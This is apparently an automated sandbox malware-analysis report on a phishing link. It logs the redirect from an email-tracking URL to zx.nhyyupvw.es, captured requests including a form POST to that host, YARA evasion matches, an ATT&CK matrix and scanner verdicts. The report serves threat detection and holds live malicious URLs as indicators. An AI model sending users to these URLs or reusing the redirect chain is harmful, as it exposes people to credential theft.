Source: global traffic	HTTP traffic detected: GET /uvtgW0ZFM2nrSttk0VJtBHvlCjE67N9mBGr8ARYjXYb05zuuN6dL1VHDyJomPWZCm9gh260 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: email.double.serviceautopilot.com
Source: global traffic	DNS traffic detected: DNS query: zx.nhyyupvw.es
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: u5yz.nmpjkg.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com

Source: unknown

HTTP traffic detected: POST /ve5HClA9r3rInXOW55CCxGwczDAZn6wPQThkYl183il HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveContent-Length: 774sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQsdDtozYid7avFyLsec-ch-ua-mobile: ?0Accept: */*Origin: https://zx.nhyyupvw.esSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zx.nhyyupvw.es/iSHROnSonGoT/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkZaWEhacVNJNVZvcjlIbklsMVVEUUE9PSIsInZhbHVlIjoiNm0zdlRpVGZMOXZVaVI0WXZyYTdlNjJpTisvSjR1QXZPZ1czL1oyTnZTdmVWTW5JUURCWDFPeTlLTkFOcHFSc253amVEWVB2SXZjaEgrbVdkeDJrWFdoT1YwQkROR21vMjFOeC9uNHFrZU9hSkEyRmRTVlphVk42TmI4VzRwUjUiLCJtYWMiOiJmYmE3NzJhOWJiYzUyMDgzMDJmZDU0YzVhYWE5YTA1ODRlODE3MzcwNmQ4ZjRmMjA2MjkzNmRmNTk1NDFjMzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJrSFZ5YzFxSjVwRnh6RlkyZW1TVmc9PSIsInZhbHVlIjoid3dvTlZqVExrUVFsWnQzN21QUEVLa0xOU1RyUVNianU0MEpWbHlOeUIrUnFndnZmK0RUZStIQmJzVExlUDNPRmY5WkhSREZVMXlRMlJXM0JweGZpa3JTTXlJY2lHbWt3V00ya3FiNDIxMGVQWEpvTDJEbzVZL3V4SEZMbEhlUkgiLCJtYWMiOiI4OTBmZTc0Y2RkZWNmNDQ4NmI2ZTA4YWExY2ZmZDFjMWNjNjEyNzVlZmQzMjEwODA3YzE1ZmI5MjEyMDEzZDA3IiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 24 Mar 2025 13:13:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qnOl8kJJfU%2BIHgXhD49LiRAq80hry3EYXx3xACE9dApfG5zwgfRZB%2BjXrFd%2FkkiyUEHq7eNiIqAbtkFxfXnDAJCK7A8h89rm5yxCiKscgffCArzOxjevHZfXBHtfKA5%2F3ibf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=10060&min_rtt=9913&rtt_var=3822&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2054&delivery_rate=287299&cwnd=237&unsent_bytes=0&cid=19bb4334cccfeaf4&ts=222&x=0"Server: cloudflareCF-RAY: 92566c87dc444366-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=100380&min_rtt=100372&rtt_var=21185&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1716&delivery_rate=37111&cwnd=248&unsent_bytes=0&cid=d76029b143d775ee&ts=652&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 24 Mar 2025 13:13:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pEJQKF8JgHf0%2Ban3UoFi8KE2IcfUASkDP3fKQhXWe%2B2ZblgQbF9ElcjH0rbORrAs7lMPYPh7%2Fs7yjF4TWEqyqWMsW9mbdUynpsB%2BIyQMwMqQ5CVppmfsoXxCFVrXKqWjrvGw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=10660&min_rtt=10544&rtt_var=4037&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2237&delivery_rate=270106&cwnd=250&unsent_bytes=0&cid=3236b87e32bd323a&ts=400&x=0"Cache-Control: max-age=14400Server: cloudflareCF-RAY: 92566c8d5a0c41e3-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=99912&min_rtt=99401&rtt_var=21738&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1899&delivery_rate=36901&cwnd=224&unsent_bytes=0&cid=3d849edf1650ea7b&ts=790&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 24 Mar 2025 13:13:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9NwpqYamOyvm7ojoA%2BwR1B%2Bz6f6x1tWx3RZUMFJfHU%2F3BRuYyOeePHaNTwbFFvaOm7KsmQxdziqBbyARSb7qonm1QjyDLE9c9t%2BgnNXwXdnJzzH4GnnMDiX4MtmwsDPQFEGA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=10282&min_rtt=10278&rtt_var=3862&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2055&delivery_rate=276236&cwnd=213&unsent_bytes=0&cid=79c2fe8f4cdac535&ts=226&x=0"Server: cloudflareCF-RAY: 92566c92dea252c6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=101354&min_rtt=101026&rtt_var=21631&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1718&delivery_rate=36866&cwnd=246&unsent_bytes=0&cid=a07f63f0509c49f4&ts=650&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 24 Mar 2025 13:13:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JryDhgmK8QtOC5FPH0HzInwbXtAR3czyOV8gJ1KGWJhHnS9C5Ne9QhOnNvLeYsQSc6e34d%2FR4q8K33CKHgQ8WNVa2FFGVbQYBUDfCKtlW16%2B9tD3%2BDVSarQLjZ%2FP0xUKx2NV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=9877&min_rtt=9852&rtt_var=3712&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2064&delivery_rate=289078&cwnd=236&unsent_bytes=0&cid=af9b07860337a936&ts=271&x=0"Server: cloudflareCF-RAY: 92566ca5e9ff9e02-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=100069&min_rtt=99500&rtt_var=21852&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1726&delivery_rate=36779&cwnd=188&unsent_bytes=0&cid=b4fd7e1eb8e79bf8&ts=706&x=0"

Source: chromecache_74.2.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_74.2.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_91.2.dr	String found in binary or memory: https://www.rakuten.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.65.164:443 -> 192.168.2.4:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.110.180.34:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.110.180.34:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.124:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.124:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.112.3:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49808 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir2496_1353012846

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir2496_1353012846

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.win@22/76@32/16

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2376,i,10538209658328801481,10968597087965452481,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2508 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://email.double.serviceautopilot.com/c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_Ek8Hcbx9fn9ttbO_jm8HMj1SXo5_X2Bc8ZF7XvDGjjv0Y8sK68GeC_wAAAP__35laBg"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2376,i,10538209658328801481,10968597087965452481,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2508 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.6.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://email.double.serviceautopilot.com/c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_Ek8Hcbx9fn9ttbO_jm8HMj1SXo5_X2Bc8ZF7XvDGjjv0Y8sK68GeC_wAAAP__35laBg	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://zx.nhyyupvw.es/yowScpWV08VlrEXL91MJ1eFZTqguTPKWaxVnnr16zV5wa83MFiijl	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/ve5HClA9r3rInXOW55CCxGwczDAZn6wPQThkYl183il	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/GDSherpa-regular.woff2	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/GDSherpa-vf2.woff2	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/efhlPkmcsNf53p8AYXnleVbkhPZE3mijqeDQ4E5l6akrwoDtg78150	100%	Avira URL Cloud	malware
